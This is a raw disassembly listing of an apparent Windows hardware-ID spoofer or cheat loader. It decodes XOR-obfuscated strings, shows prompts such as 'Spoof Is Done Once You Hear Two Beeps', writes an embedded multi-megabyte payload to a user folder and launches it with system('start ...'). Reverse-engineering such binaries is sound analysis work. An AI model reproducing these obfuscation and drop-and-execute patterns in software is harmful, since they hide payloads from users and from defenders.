movabs r11, 0xf3d3c6bfc8e687b0
mov r10, r11
lea rax, [rsp + 0xc0]
sub r10, rax
nop
lea rdx, [rsp + 0xc0]
add rdx, r9
movsx r8, byte [rdx]
mov rcx, r9
and ecx, r12d
cmp rcx, r12
cmovae rcx, r12
shl cl, 2
mov rax, r11
shr rax, cl
and al, r12b
add dl, r10b
xor al, dl
xor al, r8b
mov byte [rsp + r9 + 0xc0], al
inc r9
cmp r9, 6
jb 0x140040850
xor r9d, r9d
mov r8b, 1
lea rdx, [rsp + 0x5f0]
lea rcx, [rsp + 0xc0]
call fcn.140006690
mov rcx, qword [0x140d450f0]
call fcn.140012e40
mov byte [rsp + 0x118], reloc.WS2_32.dll_send
mov byte [rsp + 0x119], 0x35
mov byte [rsp + 0x11a], 0x22
mov byte [rsp + 0x11b], 0x29
mov byte [rsp + 0x11c], 0x21
mov byte [rsp + 0x11d], 0x25
mov byte [rsp + 0x11e], 0x34
mov byte [rsp + 0x11f], WSAGetLastError
mov byte [rsp + 0x120], recv
mov byte [rsp + 0x121], 0x26
mov byte [rsp + 0x122], 0x29
mov byte [rsp + 0x123], 0x27
mov byte [rsp + 0x124], 0x23
mov byte [rsp + 0x125], 0x44
movzx eax, byte [rsp + 0x118]
mov r9, r13
movabs r11, 0x7191540ff0535f40
mov r10, r11
lea rax, [rsp + 0x118]
sub r10, rax
nop dword [rax + rax]
lea rdx, [rsp + 0x118]
add rdx, r9
movsx r8, byte [rdx]
mov rcx, r9
and ecx, r12d
cmp rcx, r12
cmovae rcx, r12
shl cl, 2
mov rax, r11
shr rax, cl
and al, r12b
add dl, r10b
xor al, dl
xor al, r8b
mov byte [rsp + r9 + 0x118], al
inc r9
cmp r9, 0xe
jb 0x140040950
movss dword [rsp + 0x20], xmm11
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x118]
lea rcx, [rsp + 0xdd8]
call fcn.1400071e0
movss xmm1, dword [rax]
mulss xmm1, xmm12
movss xmm0, dword [0x1400a8444]
subss xmm0, xmm1
movss dword [rsp + 0x5e8], xmm0
mov dword [rsp + 0x5ec], 0x41f00000
movaps xmm1, xmmword [0x1400a0e80]
movups xmmword [rsp + 0xe00], xmm1
lea rcx, [rsp + 0xe00]
call fcn.1400082d0
mov r12d, eax
movaps xmm0, xmmword [0x1400a0e80]
movups xmmword [rsp + 0xe38], xmm0
lea rcx, [rsp + 0xe38]
call fcn.1400082d0
mov r11d, eax
mov byte [rsp + 0x108], reloc.WS2_32.dll_send
mov byte [rsp + 0x109], 0x35
mov byte [rsp + 0x10a], 0x22
mov byte [rsp + 0x10b], 0x29
mov byte [rsp + 0x10c], 0x21
mov byte [rsp + 0x10d], 0x25
mov byte [rsp + 0x10e], 0x34
mov byte [rsp + 0x10f], WSAGetLastError
mov byte [rsp + 0x110], recv
mov byte [rsp + 0x111], 0x26
mov byte [rsp + 0x112], 0x29
mov byte [rsp + 0x113], 0x27
mov byte [rsp + 0x114], 0x23
mov byte [rsp + 0x115], 0x44
movzx eax, byte [rsp + 0x108]
mov r9, r13
movabs rsi, 0x7191540ff0535f40
mov r10, rsi
lea rax, [rsp + 0x108]
sub r10, rax
nop dword [rax]
lea rdx, [rsp + 0x108]
add rdx, r9
movsx r8, byte [rdx]
mov rcx, r9
and ecx, r14d
cmp rcx, r14
cmovae rcx, r14
shl cl, 2
mov rax, rsi
shr rax, cl
and al, r14b
add dl, r10b
xor al, dl
xor al, r8b
mov byte [rsp + r9 + 0x108], al
inc r9
cmp r9, 0xe
jb 0x140040ab0
lea rax, [rsp + 0x5e8]
mov qword [rsp + 0x20], rax
movss xmm3, dword [0x1400a2908]
mov r8d, r12d
mov edx, r11d
lea rcx, [rsp + 0x108]
call fcn.140039970
call fcn.140012a10
call fcn.14000b9c0
mov dword [rsp + 0x5e0], 0x430c0000
mov dword [rsp + 0x5e4], 0x43340000
lea rcx, [rsp + 0x5e0]
call fcn.140016d20
movss xmm0, dword [0x1400a8458]
call fcn.1400130b0
mov byte [rsp + 0xd0], 0x4c
mov byte [rsp + 0xd1], 0x60
mov byte [rsp + 0xd2], 0x65
mov byte [rsp + 0xd3], 0x60
mov byte [rsp + 0xd4], WSAGetLastError
mov byte [rsp + 0xd5], 0x75
mov byte [rsp + 0xd6], 0x65
mov byte [rsp + 0xd7], send
movzx eax, byte [rsp + 0xd0]
mov r9, r13
movabs r11, 0x2498f90a1ebaec08
mov r10, r11
lea rax, [rsp + 0xd0]
sub r10, rax
mov r12, r14
nop dword [rax]
lea rdx, [rsp + 0xd0]
add rdx, r9
movsx r8, byte [rdx]
mov rcx, r9
and ecx, r12d
cmp rcx, r12
cmovae rcx, r12
shl cl, 2
mov rax, r11
shr rax, cl
and al, r12b
add dl, r10b
xor al, dl
xor al, r8b
mov byte [rsp + r9 + 0xd0], al
inc r9
cmp r9, 8
jb 0x140040bc0
mov byte [rsp + 0xd8], 0x4c
mov byte [rsp + 0xd9], 0x60
mov byte [rsp + 0xda], 0x65
mov byte [rsp + 0xdb], 0x60
mov byte [rsp + 0xdc], WSAGetLastError
mov byte [rsp + 0xdd], 0x75
mov byte [rsp + 0xde], 0x65
mov byte [rsp + 0xdf], send
movzx eax, byte [rsp + 0xd8]
mov r9, r13
mov r10, r11
lea rax, [rsp + 0xd8]
sub r10, rax
nop word [rax + rax]
lea rdx, [rsp + 0xd8]
add rdx, r9
movsx r8, byte [rdx]
mov rcx, r9
and ecx, r12d
cmp rcx, r12
cmovae rcx, r12
shl cl, 2
mov rax, r11
shr rax, cl
and al, r12b
add dl, r10b
xor al, dl
xor al, r8b
mov byte [rsp + r9 + 0xd8], al
inc r9
cmp r9, 8
jb 0x140040c60
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x28], r13
mov dword [rsp + 0x20], r13d
mov r9d, 0x40
lea r8, [0x140d45120]
lea rdx, [rsp + 0xd0]
lea rcx, [rsp + 0xd8]
call fcn.140038660
mov dword [rsp + 0x5d8], 0x43090000
mov dword [rsp + 0x5dc], 0x437a0000
lea rcx, [rsp + 0x5d8]
call fcn.140016d20
mov byte [rsp + 0x180], __WSAFDIsSet
mov byte [rsp + 0x181], 0x9a
mov byte [rsp + 0x182], 0x8d
mov byte [rsp + 0x183], 0x87
mov byte [rsp + 0x184], 0x88
mov byte [rsp + 0x185], 0x9e
mov byte [rsp + 0x186], 0xcc
mov byte [rsp + 0x187], __WSAFDIsSet
mov byte [rsp + 0x188], WSAGetLastError
mov byte [rsp + 0x189], 0x3e
mov byte [rsp + 0x18a], 0x32
mov byte [rsp + 0x18b], 0x38
mov byte [rsp + 0x18c], 0x7c
mov byte [rsp + 0x18d], 0x63
mov byte [rsp + 0x18e], 0x7c
mov byte [rsp + 0x18f], 0x34
mov byte [rsp + 0x190], 0x31
mov byte [rsp + 0x191], 0x37
mov byte [rsp + 0x192], 0x7b
mov byte [rsp + 0x193], WSAGetLastError
mov byte [rsp + 0x194], 0x7b
mov byte [rsp + 0x195], 0x30
mov byte [rsp + 0x196], 0x38
mov byte [rsp + 0x197], 0x67
mov byte [rsp + 0x198], WSACleanup
mov byte [rsp + 0x199], 0x1e
movzx eax, byte [rsp + 0x180]
mov r9, r13
movabs r11, 0x398cb0f74180e4f8
mov r10, r11
lea rax, [rsp + 0x180]
sub r10, rax
nop dword [rax + rax]
lea rdx, [rsp + 0x180]
add rdx, r9
movsx r8, byte [rdx]
mov rcx, r9
and ecx, r12d
cmp rcx, r12
cmovae rcx, r12
shl cl, 2
mov rax, r11
shr rax, cl
and al, r12b
add dl, r10b
xor al, dl
xor al, r8b
mov byte [rsp + r9 + 0x180], al
inc r9
cmp r9, 0x1a
jb 0x140040df0
xorps xmm0, xmm0
movups xmmword [rsp + 0xc40], xmm0
mov qword [rsp + 0xc50], r13
mov qword [rsp + 0xc58], r13
lea rax, [rsp + 0x180]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140040e60
lea rdx, [rsp + 0x180]
lea rcx, [rsp + 0xc40]
call fcn.14003d2d0
nop
lea rcx, [rsp + 0xc40]
call fcn.140076948
nop
lea rcx, [rsp + 0xc40]
call fcn.14003e490
mov dword [rsp + 0x5d0], 0x43960000
mov dword [rsp + 0x5d4], 0x42340000
mov byte [rsp + 0xc8], 0xfc
mov byte [rsp + 0xc9], 0xd5
mov byte [rsp + 0xca], 0xd2
mov byte [rsp + 0xcb], 0xd2
mov byte [rsp + 0xcc], 0xdc
mov byte [rsp + 0xcd], 0xbb
movzx eax, byte [rsp + 0xc8]
mov r9, r13
movabs r11, 0xf3d3c6bfc8e687b0
mov r10, r11
lea rax, [rsp + 0xc8]
sub r10, rax
nop dword [rax]
nop dword [rax + rax]
lea rdx, [rsp + 0xc8]
add rdx, r9
movsx r8, byte [rdx]
mov rcx, r9
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r12
shl cl, 2
mov rax, r11
shr rax, cl
and al, 0xf
add dl, r10b
xor al, dl
xor al, r8b
mov byte [rsp + r9 + 0xc8], al
inc r9
cmp r9, 6
jb 0x140040f10
lea rdx, [rsp + 0x5d0]
lea rcx, [rsp + 0xc8]
call fcn.1400335b0
test al, al
je 0x140041001
lea rcx, [rsp + 0x13e0]
call fcn.14004bf10
mov r12, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0xc60], xmm0
mov qword [rsp + 0xc70], r13
mov qword [rsp + 0xc78], r13
mov r8, 0xffffffffffffffff
lea rax, [0x140d45120]
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140040fb0
mov rdx, rax
lea rcx, [rsp + 0xc60]
call fcn.14003d2d0
nop
mov rdx, r12
lea rcx, [rsp + 0xc60]
call fcn.14006bbfc
nop
lea rcx, [rsp + 0xc60]
call fcn.14003e490
nop
lea rcx, [rsp + 0x13e0]
call fcn.14003e490
mov dword [0x140d45160], 5
cmp byte [0x140d45170], 0
je 0x1400411c5
movss xmm7, dword [0x1400a844c]
movss xmm6, dword [0x1400a8448]
call fcn.14000bb80
mov r12, rax
mov byte [rsp + 0x168], reloc.WS2_32.dll_setsockopt
mov byte [rsp + 0x169], 0x36
mov byte [rsp + 0x16a], 0x2b
mov byte [rsp + 0x16b], 0x38
mov byte [rsp + 0x16c], 0x28
mov byte [rsp + 0x16d], 0x21
mov byte [rsp + 0x16e], 0x25
mov byte [rsp + 0x16f], 0x24
mov byte [rsp + 0x170], 0x65
mov byte [rsp + 0x171], 2
mov byte [rsp + 0x172], 0x2d
mov byte [rsp + 0x173], 0x36
mov byte [rsp + 0x174], WSAGetLastError
mov byte [rsp + 0x175], 2
mov byte [rsp + 0x176], 0x27
mov byte [rsp + 0x177], 0x30
mov byte [rsp + 0x178], 0x3e
mov byte [rsp + 0x179], 0x31
mov byte [rsp + 0x17a], 0x7f
mov byte [rsp + 0x17b], 0x5a
movzx eax, byte [rsp + 0x168]
mov r9, r13
movabs r11, 0xa695985d6e529c40
mov r10, r11
lea rax, [rsp + 0x168]
sub r10, rax
mov edi, reloc.WS2_32.dll_ntohs
nop
lea rdx, [rsp + 0x168]
add rdx, r9
movsx r8, byte [rdx]
mov rcx, r9
and ecx, edi
cmp rcx, rdi
cmovae rcx, rdi
shl cl, 2
mov rax, r11
shr rax, cl
and al, dil
add dl, r10b
xor al, dl
xor al, r8b
mov byte [rsp + r9 + 0x168], al
inc r9
cmp r9, 0x14
jb 0x1400410f0
mov dword [rsp + 0x20], 0xff
xor r9d, r9d
xor r8d, r8d
mov edx, 0xff
lea rcx, [rsp + 0x1420]
call fcn.14003e2b0
mov rcx, rax
call fcn.1400082d0
movss xmm1, dword [rsp + 0x1654]
addss xmm1, xmm6
movss xmm0, dword [rsp + 0x1650]
addss xmm0, xmm7
movss dword [rsp + 0x5c8], xmm0
movss dword [rsp + 0x5cc], xmm1
mov qword [rsp + 0x40], r13
movss dword [rsp + 0x38], xmm10
mov qword [rsp + 0x30], r13
lea rcx, [rsp + 0x168]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], eax
lea r9, [rsp + 0x5c8]
movss xmm2, dword [0x1400a841c]
mov rdx, qword [0x140d450e8]
mov rcx, r12
call fcn.1400200a0
call fcn.1400094b0
mov ecx, 1
call fcn.140012b40
shufps xmm8, xmm8, 0
cmp dword [0x140d4516c], 5
jne 0x1400412fa
lea rcx, [0x140d44cc8]
call fcn.14000af20
mov qword [rsp + 0x5c0], 0
mov dword [rsp + 0x5b8], 0x3f800000
mov dword [rsp + 0x5bc], 0x3f800000
mov dword [rsp + 0x598], 0x42b40000
mov dword [rsp + 0x59c], 0x42b40000
movss xmm0, dword [0x1400a278c]
movss dword [rsp + 0x28], xmm0
mov dword [rsp + 0x20], eax
lea r9, [rsp + 0x5c0]
lea r8, [rsp + 0x5b8]
lea rdx, [rsp + 0x598]
mov rcx, qword [0x140d44f60]
call fcn.140034c10
call fcn.14000b4a0
movss xmm6, dword [rax + 0x10]
mulss xmm6, dword [0x1400a27ec]
addss xmm6, dword [0x140d44fa4]
movss dword [0x140d44fa4], xmm6
movss xmm7, dword [0x1400a2810]
comiss xmm6, xmm7
jbe 0x1400412fa
mov r9, 0xffffffffffffffff
lea rax, [0x140d44f68]
nop dword [rax]
inc r9
cmp byte [rax + r9], 0
jne 0x1400412a0
lea rcx, [0x140d3eed0]
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rcx, qword [0x140d3eed0]
mov r8, rax
mov rdx, qword [reloc.WS2_32.dll_connect]
call fcn.14003db30
test al, al
je 0x1400412eb
lea rdx, [0x140d44f78]
lea rcx, [0x140d3eef0]
call fcn.14003d280
test al, al
jne 0x1400412f0
comiss xmm6, xmm7
jbe 0x1400412fa
mov dword [0x140d45160], 3
cmp dword [0x140d4516c], 3
jne 0x14004b419
call fcn.14000bb80
mov r12, rax
mov byte [rsp + 0xa8], 0xf7
mov byte [rsp + 0xa9], 0xca
mov byte [rsp + 0xaa], 0xd7
mov byte [rsp + 0xab], 0xc3
mov byte [rsp + 0xac], 0xa6
movzx ecx, byte [rsp + 0xa8]
mov r9, r13
movabs r11, 0x634bc9b9925253a0
mov r10, r11
lea rax, [rsp + 0xa8]
sub r10, rax
mov r15d, reloc.WS2_32.dll_ntohs
lea rdx, [rsp + 0xa8]
add rdx, r9
movsx r8, byte [rdx]
mov rcx, r9
and ecx, r15d
cmp rcx, r15
cmovae rcx, r15
shl cl, 2
mov rax, r11
shr rax, cl
and al, r15b
add dl, r10b
xor al, dl
xor al, r8b
mov byte [rsp + r9 + 0xa8], al
inc r9
cmp r9, 5
jb 0x140041360
movzx r15d, byte [rsp + 0x60]
movaps xmm0, xmmword [0x1400a0e80]
movups xmmword [rsp + 0xe58], xmm0
lea rcx, [rsp + 0xe58]
call fcn.1400082d0
movss xmm1, dword [rsp + 0x1654]
addss xmm1, dword [0x1400a2804]
movss xmm0, dword [rsp + 0x1650]
addss xmm0, dword [0x1400a8434]
movss dword [rsp + 0x590], xmm0
movss dword [rsp + 0x594], xmm1
mov qword [rsp + 0x40], r13
movss dword [rsp + 0x38], xmm10
mov qword [rsp + 0x30], r13
lea rcx, [rsp + 0xa8]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], eax
lea r9, [rsp + 0x590]
movss xmm2, dword [0x1400a8424]
mov rdx, qword [0x140d45100]
mov rcx, r12
call fcn.1400200a0
call fcn.14000bb80
mov r12, rax
mov byte [rsp + 0x150], __WSAFDIsSet
mov byte [rsp + 0x151], 0xba
mov byte [rsp + 0x152], 0xb5
mov byte [rsp + 0x153], 0xb9
mov byte [rsp + 0x154], 0xbd
mov byte [rsp + 0x155], 0xb0
mov byte [rsp + 0x156], 0xb4
mov byte [rsp + 0x157], 0xf1
mov byte [rsp + 0x158], 0xb2
mov byte [rsp + 0x159], 0x82
mov byte [rsp + 0x15a], 0x9f
mov byte [rsp + 0x15b], __WSAFDIsSet
mov byte [rsp + 0x15c], 0xc5
mov byte [rsp + 0x15d], 0xaa
mov byte [rsp + 0x15e], 0x82
mov byte [rsp + 0x15f], 0x83
mov byte [rsp + 0x160], 0x85
mov byte [rsp + 0x161], 0xe4
movzx eax, byte [rsp + 0x150]
mov r9, r13
movabs r11, 0x958178cbefef37d8
mov r10, r11
lea rax, [rsp + 0x150]
sub r10, rax
mov ebx, reloc.WS2_32.dll_ntohs
nop dword [rax + rax]
lea rdx, [rsp + 0x150]
add rdx, r9
movsx r8, byte [rdx]
mov rcx, r9
and ecx, ebx
cmp rcx, rbx
cmovae rcx, rbx
shl cl, 2
mov rax, r11
shr rax, cl
and al, bl
add dl, r10b
xor al, dl
xor al, r8b
mov byte [rsp + r9 + 0x150], al
inc r9
cmp r9, 0x12
jb 0x140041500
movzx ebx, byte [rsp + 0x60]
movaps xmm0, xmmword [0x1400a0e80]
movups xmmword [rsp + 0xe80], xmm0
lea rcx, [rsp + 0xe80]
call fcn.1400082d0
movss xmm1, dword [rsp + 0x1654]
addss xmm1, dword [0x1400a6678]
movss xmm0, dword [rsp + 0x1650]
addss xmm0, dword [0x1400a8430]
movss dword [rsp + 0x588], xmm0
movss dword [rsp + 0x58c], xmm1
mov qword [rsp + 0x40], r13
movss dword [rsp + 0x38], xmm10
mov qword [rsp + 0x30], r13
lea rcx, [rsp + 0x150]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], eax
lea r9, [rsp + 0x588]
movss xmm2, dword [0x1400a8420]
mov rdx, qword [0x140d45100]
mov rcx, r12
call fcn.1400200a0
call fcn.14000bb80
mov dword [rsp + 0x550], 0x42480000
mov dword [rsp + 0x554], 0x43160000
lea rcx, [rsp + 0x550]
call fcn.140016d20
mov qword [rsp + 0x548], 0
mov byte [rsp + 0xb0], 0xf5
mov byte [rsp + 0xb1], 0xee
mov byte [rsp + 0xb2], 0xe7
mov byte [rsp + 0xb3], 0xef
mov byte [rsp + 0xb4], 0xa6
movzx eax, byte [rsp + 0xb0]
mov r9, r13
movabs r11, 0x634bc9b9925253a0
mov r10, r11
lea rax, [rsp + 0xb0]
sub r10, rax
mov r12d, reloc.WS2_32.dll_ntohs
nop word [rax + rax]
lea rdx, [rsp + 0xb0]
add rdx, r9
movsx r8, byte [rdx]
mov rcx, r9
and ecx, r12d
cmp rcx, r12
cmovae rcx, r12
shl cl, 2
mov rax, r11
shr rax, cl
and al, r12b
add dl, r10b
xor al, dl
xor al, r8b
mov byte [rsp + r9 + 0xb0], al
inc r9
cmp r9, 5
jb 0x140041660
cmp dword [0x140d45160], 3
sete cl
xor r9d, r9d
lea r8, [rsp + 0x548]
lea rdx, [rsp + 0xb0]
call fcn.140039b80
test al, al
je 0x1400416d1
mov dword [0x140d45160], 3
mov dword [rsp + 0x5b0], 0x42f00000
mov dword [rsp + 0x5b4], 0x43160000
lea rcx, [rsp + 0x5b0]
call fcn.140016d20
mov qword [rsp + 0x600], 0
mov byte [rsp + 0x84], 0xa5
mov byte [rsp + 0x85], 0xa9
mov byte [rsp + 0x86], 0xad
mov byte [rsp + 0x87], 0xec
movzx eax, byte [rsp + 0x84]
mov r9, r13
movabs r11, 0xd47811ae3c32f6e0
mov r10, r11
lea rax, [rsp + 0x84]
sub r10, rax
nop dword [rax]
nop word [rax + rax]
lea rdx, [rsp + 0x84]
add rdx, r9
movsx r8, byte [rdx]
mov rcx, r9
and ecx, r12d
cmp rcx, r12
cmovae rcx, r12
shl cl, 2
mov rax, r11
shr rax, cl
and al, r12b
add dl, r10b
xor al, dl
xor al, r8b
mov byte [rsp + r9 + 0x84], al
inc r9
cmp r9, 4
jb 0x140041750
cmp dword [0x140d45160], 4
sete cl
xor r9d, r9d
lea r8, [rsp + 0x600]
lea rdx, [rsp + 0x84]
call fcn.140039b80
test al, al
je 0x1400417c1
mov dword [0x140d45160], 4
movss dword [rsp + 0x20], xmm11
xor r9d, r9d
xor r8d, r8d
lea rdx, str.Make_Sure_To_Check_Requeriments
lea rcx, [rsp + 0xdd0]
call fcn.1400071e0
movss xmm1, dword [rax]
mulss xmm1, xmm12
movss xmm0, dword [0x1400a8454]
subss xmm0, xmm1
movss dword [rsp + 0x4a0], xmm0
mov dword [rsp + 0x4a4], 0x433e0000
movaps xmm1, xmmword [0x1400a0e80]
movups xmmword [rsp + 0xe90], xmm1
lea rcx, [rsp + 0xe90]
call fcn.1400082d0
mov r12d, eax
movaps xmm0, xmmword [0x1400a0e80]
movups xmmword [rsp + 0xde0], xmm0
lea rcx, [rsp + 0xde0]
call fcn.1400082d0
mov r11d, eax
mov byte [rsp + 0x1a0], 0x8d
mov byte [rsp + 0x1a1], 0xa4
mov byte [rsp + 0x1a2], 0xa4
mov byte [rsp + 0x1a3], 0xa4
mov byte [rsp + 0x1a4], 0xeb
mov byte [rsp + 0x1a5], 0x9a
mov byte [rsp + 0x1a6], 0xb6
mov byte [rsp + 0x1a7], 0xba
mov byte [rsp + 0x1a8], 0xb0
mov byte [rsp + 0x1a9], 0xfb
mov byte [rsp + 0x1aa], 0x8e
mov byte [rsp + 0x1ab], 0xb2
mov byte [rsp + 0x1ac], 0xf3
mov byte [rsp + 0x1ad], __WSAFDIsSet
mov byte [rsp + 0x1ae], 0xb8
mov byte [rsp + 0x1af], 0xb0
mov byte [rsp + 0x1b0], 0xb3
mov byte [rsp + 0x1b1], 0xbe
mov byte [rsp + 0x1b2], 0xff
mov byte [rsp + 0x1b3], 0x83
mov byte [rsp + 0x1b4], 0xbe
mov byte [rsp + 0x1b5], 0xa8
mov byte [rsp + 0x1b6], 0xa6
mov byte [rsp + 0x1b7], 0xbd
mov byte [rsp + 0x1b8], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rsp + 0x1b9], 0x82
mov byte [rsp + 0x1ba], 0x87
mov byte [rsp + 0x1bb], 0x88
mov byte [rsp + 0x1bc], 0x8d
mov byte [rsp + 0x1bd], __WSAFDIsSet
mov byte [rsp + 0x1be], __WSAFDIsSet
mov byte [rsp + 0x1bf], 0xe5
movzx eax, byte [rsp + 0x1a0]
mov r9, r13
movabs rdi, 0x2657e8a57d47a5c8
mov r10, rdi
lea rax, [rsp + 0x1a0]
sub r10, rax
mov r14d, reloc.WS2_32.dll_ntohs
nop dword [rax]
nop word [rax + rax]
lea rdx, [rsp + 0x1a0]
add rdx, r9
movsx r8, byte [rdx]
mov rcx, r9
and ecx, r14d
cmp rcx, r14
cmovae rcx, r14
shl cl, 2
mov rax, rdi
shr rax, cl
and al, r14b
add dl, r10b
xor al, dl
xor al, r8b
mov byte [rsp + r9 + 0x1a0], al
inc r9
cmp r9, 0x20
jb 0x140041980
movzx edi, byte [rsp + 0x60]
movzx r14d, byte [rsp + 0x60]
lea rax, [rsp + 0x4a0]
mov qword [rsp + 0x20], rax
movss xmm7, dword [0x1400a2904]
movaps xmm3, xmm7
mov r8d, r12d
mov edx, r11d
lea rcx, [rsp + 0x1a0]
call fcn.140039970
mov dword [rsp + 0x4a8], 0x42200000
mov dword [rsp + 0x4ac], 0x43960000
lea rcx, [rsp + 0x4a8]
call fcn.140016d20
mov dword [rsp + 0x4b0], 0x43340000
mov dword [rsp + 0x4b4], 0x42340000
mov byte [rsp + 0xf8], send
mov byte [rsp + 0xf9], 0x24
mov byte [rsp + 0xfa], 0x2e
mov byte [rsp + 0xfb], 0x2e
mov byte [rsp + 0xfc], 0x2e
mov byte [rsp + 0xfd], 0x2e
mov byte [rsp + 0xfe], 0x23
mov byte [rsp + 0xff], WSAGetLastError
mov byte [rsp + 0x100], shutdown
mov byte [rsp + 0x101], 0x39
mov byte [rsp + 0x102], 0x21
mov byte [rsp + 0x103], 0x21
mov byte [rsp + 0x104], 0x2b
mov byte [rsp + 0x105], 0x44
movzx eax, byte [rsp + 0xf8]
mov r9, r13
movabs r11, 0x7191540ff0535f40
mov r10, r11
lea rax, [rsp + 0xf8]
sub r10, rax
mov r12d, reloc.WS2_32.dll_ntohs
nop dword [rax]
lea rdx, [rsp + 0xf8]
add rdx, r9
movsx r8, byte [rdx]
mov rcx, r9
and ecx, r12d
cmp rcx, r12
cmovae rcx, r12
shl cl, 2
mov rax, r11
shr rax, cl
and al, r12b
add dl, r10b
xor al, dl
xor al, r8b
mov byte [rsp + r9 + 0xf8], al
inc r9
cmp r9, 0xe
jb 0x140041ad0
lea rdx, [rsp + 0x4b0]
lea rcx, [rsp + 0xf8]
call fcn.1400335b0
test al, al
je 0x140041b31
mov byte [0x140d45059], 1
mov dword [rsp + 0x4b8], 0x42200000
mov dword [rsp + 0x4bc], 0x43c30000
lea rcx, [rsp + 0x4b8]
call fcn.140016d20
mov dword [rsp + 0x4c0], 0x43340000
mov dword [rsp + 0x4c4], 0x42340000
mov byte [rsp + 0xe0], 0x43
mov byte [rsp + 0xe1], 0x65
mov byte [rsp + 0xe2], 0x63
mov byte [rsp + 0xe3], 0x64
mov byte [rsp + 0xe4], WSAGetLastError
mov byte [rsp + 0xe5], 0x63
mov byte [rsp + 0xe6], WSACleanup
mov byte [rsp + send7], 0xe
movzx eax, byte [rsp + 0xe0]
mov r9, r13
movabs r11, 0x2498f90a1ebaec08
mov r10, r11
lea rax, [rsp + 0xe0]
sub r10, rax
nop dword [rax]
lea rdx, [rsp + 0xe0]
add rdx, r9
movsx r8, byte [rdx]
mov rcx, r9
and ecx, r12d
cmp rcx, r12
cmovae rcx, r12
shl cl, 2
mov rax, r11
shr rax, cl
and al, r12b
add dl, r10b
xor al, dl
xor al, r8b
mov byte [rsp + r9 + 0xe0], al
inc r9
cmp r9, 8
jb 0x140041bd0
lea rdx, [rsp + 0x4c0]
lea rcx, [rsp + 0xe0]
call fcn.1400335b0
test al, al
je 0x140041e3e
cmp byte [0x140d45068], 0
jne 0x140041e3e
movups xmm0, xmmword [0x1400a7620]
movups xmmword [rsp + 0x930], xmm0
movsd xmm0, qword [0x1400a7630]
movsd qword [rsp + 0x940], xmm0
mov eax, dword [0x1400a7638]
mov dword [rsp + 0x948], eax
movzx eax, byte [0x1400a763c]
mov byte [rsp + 0x94c], al
mov r8d, r13d
cmp dword [0x140d3f110], 2
jl 0x140041dc5
movdqa xmm5, xmmword [0x1400a66c0]
movdqa xmm4, xmmword [0x1400a84b0]
movdqa xmm6, xmmword [str.2222]
movdqa xmm0, xmmword [str.3333333333333333]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0x934]
mov edx, dword [rsp + 0x70]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a8480]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a8480]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140041cc0
cmp r8d, 0x1d
jge 0x140041e10
movsxd rax, r8d
lea r9, [rsp + 0x930]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1d
jl 0x140041de0
mov r8d, 0x6affbf
lea rdx, [0x1404c6750]
lea rcx, [rsp + 0x930]
call fcn.14003e7f0
lea rcx, str.start_C:Users
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [0x140d45068], 1
call fcn.14000bb80
mov r12, rax
movaps xmm0, xmmword [0x1400a84a0]
movups xmmword [rsp + 0xdf0], xmm0
lea rcx, [rsp + 0xdf0]
call fcn.1400082d0
movss xmm1, dword [rsp + 0x1654]
addss xmm1, dword [0x1400a845c]
movss xmm0, dword [rsp + 0x1650]
addss xmm0, dword [0x1400a28f4]
movss dword [rsp + 0x4c8], xmm0
movss dword [rsp + 0x4cc], xmm1
mov qword [rsp + 0x40], r13
movss dword [rsp + 0x38], xmm10
mov qword [rsp + 0x30], r13
lea rcx, str.Spoof_Is_Done_Once_You_Hear_Two_Beeps
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], eax
lea r9, [rsp + 0x4c8]
movss xmm2, dword [0x1400a8418]
mov rdx, qword [0x140d45110]
mov rcx, r12
call fcn.1400200a0
mov dword [rsp + 0x4d0], 0x43aa0000
mov dword [rsp + 0x4d4], 0x437a0000
lea rcx, [rsp + 0x4d0]
call fcn.140016d20
